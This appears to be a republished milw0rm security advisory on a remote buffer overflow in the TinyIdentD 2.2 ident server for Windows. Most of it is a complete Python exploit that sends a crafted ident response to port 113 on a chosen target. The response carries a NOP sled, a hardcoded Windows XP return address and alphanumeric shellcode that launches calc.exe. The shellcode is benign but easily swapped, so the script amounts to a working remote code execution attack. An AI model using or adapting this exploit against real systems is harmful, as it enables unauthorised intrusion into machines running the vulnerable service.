[EXPL] TinyIdentD Buffer Overflow (Exploit)

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TinyIdentD Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

Tiny IdentD is a small ident server for Win32. An Ident server is a small
service that IRC servers, and some non-IRC related servers, use to verify
your username. A vulnerability in TinyIdentD allows remote attackers to
cause the program to execute arbitrary code.

DETAILS

Vulnerable Systems:
* TinyIdentD version 2.2

Exploit:
#
#tinyidentd exploit code by
#thomas . pollet _at_ gmail . com
#bug by Maarten Boone
#
#usage: python exploit.py [target]
#
import socket,sys
#jmp into nop sled
payload = '\xeb\x20'
#ident crap
payload += ', 28 : USERID : UNIX : '
#nop sled
payload +='XXXX'
# jmp *%esi
payload += '\x77\x13\x83\x7c' #XP kernel32.dll
#payload += '\xb1\x63\xd9\x77' #W2K rpcrt4.dll
#metasploit alphanumeric shellcode calc.exe
shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
shellcode +=
"\x49\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x44"
shellcode +=
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x54\x42\x32\x41\x42\x32\x42"
shellcode +=
"\x41\x30\x42\x41\x58\x41\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4b"
shellcode +=
"\x58\x51\x54\x65\x50\x57\x70\x45\x50\x4e\x6b\x67\x35\x35\x6c\x4e"
shellcode +=
"\x6b\x73\x4c\x55\x55\x71\x68\x67\x71\x68\x6f\x6c\x4b\x52\x6f\x46"
shellcode +=
"\x78\x4e\x6b\x51\x4f\x71\x30\x74\x41\x7a\x4b\x30\x49\x6c\x4b\x54"
shellcode +=
"\x74\x6e\x6b\x76\x61\x4a\x4e\x35\x61\x4b\x70\x6a\x39\x4c\x6c\x4d"
shellcode +=
"\x54\x6b\x70\x30\x74\x54\x47\x6a\x61\x6a\x6a\x64\x4d\x63\x31\x79"
shellcode +=
"\x52\x4a\x4b\x69\x64\x67\x4b\x32\x74\x65\x74\x66\x64\x31\x65\x4a"
shellcode +=
"\x45\x6c\x4b\x71\x4f\x31\x34\x57\x71\x48\x6b\x52\x46\x6e\x6b\x64"
shellcode +=
"\x4c\x52\x6b\x4e\x6b\x31\x4f\x77\x6c\x54\x41\x68\x6b\x4c\x4b\x57"
shellcode +=
"\x6c\x6c\x4b\x57\x71\x4a\x4b\x4e\x69\x41\x4c\x65\x74\x67\x74\x4a"
shellcode +=
"\x63\x75\x61\x4f\x30\x51\x74\x6c\x4b\x61\x50\x50\x30\x4f\x75\x4f"
shellcode +=
"\x30\x32\x58\x64\x4c\x4c\x4b\x71\x50\x54\x4c\x4c\x4b\x70\x70\x57"
shellcode +=
"\x6c\x4e\x4d\x6e\x6b\x73\x58\x35\x58\x4a\x4b\x36\x69\x6c\x4b\x4d"
shellcode +=
"\x50\x4c\x70\x67\x70\x75\x50\x37\x70\x4c\x4b\x45\x38\x35\x6c\x41"
shellcode +=
"\x4f\x57\x41\x68\x76\x53\x50\x30\x56\x6e\x69\x6b\x48\x6f\x73\x6f"
shellcode +=
"\x30\x63\x4b\x62\x70\x30\x68\x58\x70\x6f\x7a\x57\x74\x51\x4f\x45"
shellcode +=
"\x38\x6f\x68\x59\x6e\x4f\x7a\x66\x6e\x62\x77\x69\x6f\x38\x67\x73"
shellcode +=
"\x53\x52\x41\x30\x6c\x71\x73\x64\x6e\x35\x35\x30\x78\x70\x65\x45"
shellcode += "\x50\x44"

nopsize=523-len(payload)-len(shellcode)
nopsled=''
for i in range(nopsize):
nopsled+='\x90'

payload=payload.replace('XXXX',nopsled+shellcode)

try:
target=sys.argv[1]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,113))
s.send(payload+'\n')
s.close()
print 'done'
except:
print 'usage : %s [target]'%sys.argv[0]


ADDITIONAL INFORMATION

The information has been provided by milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/3925>
http://www.milw0rm.com/exploits/3925



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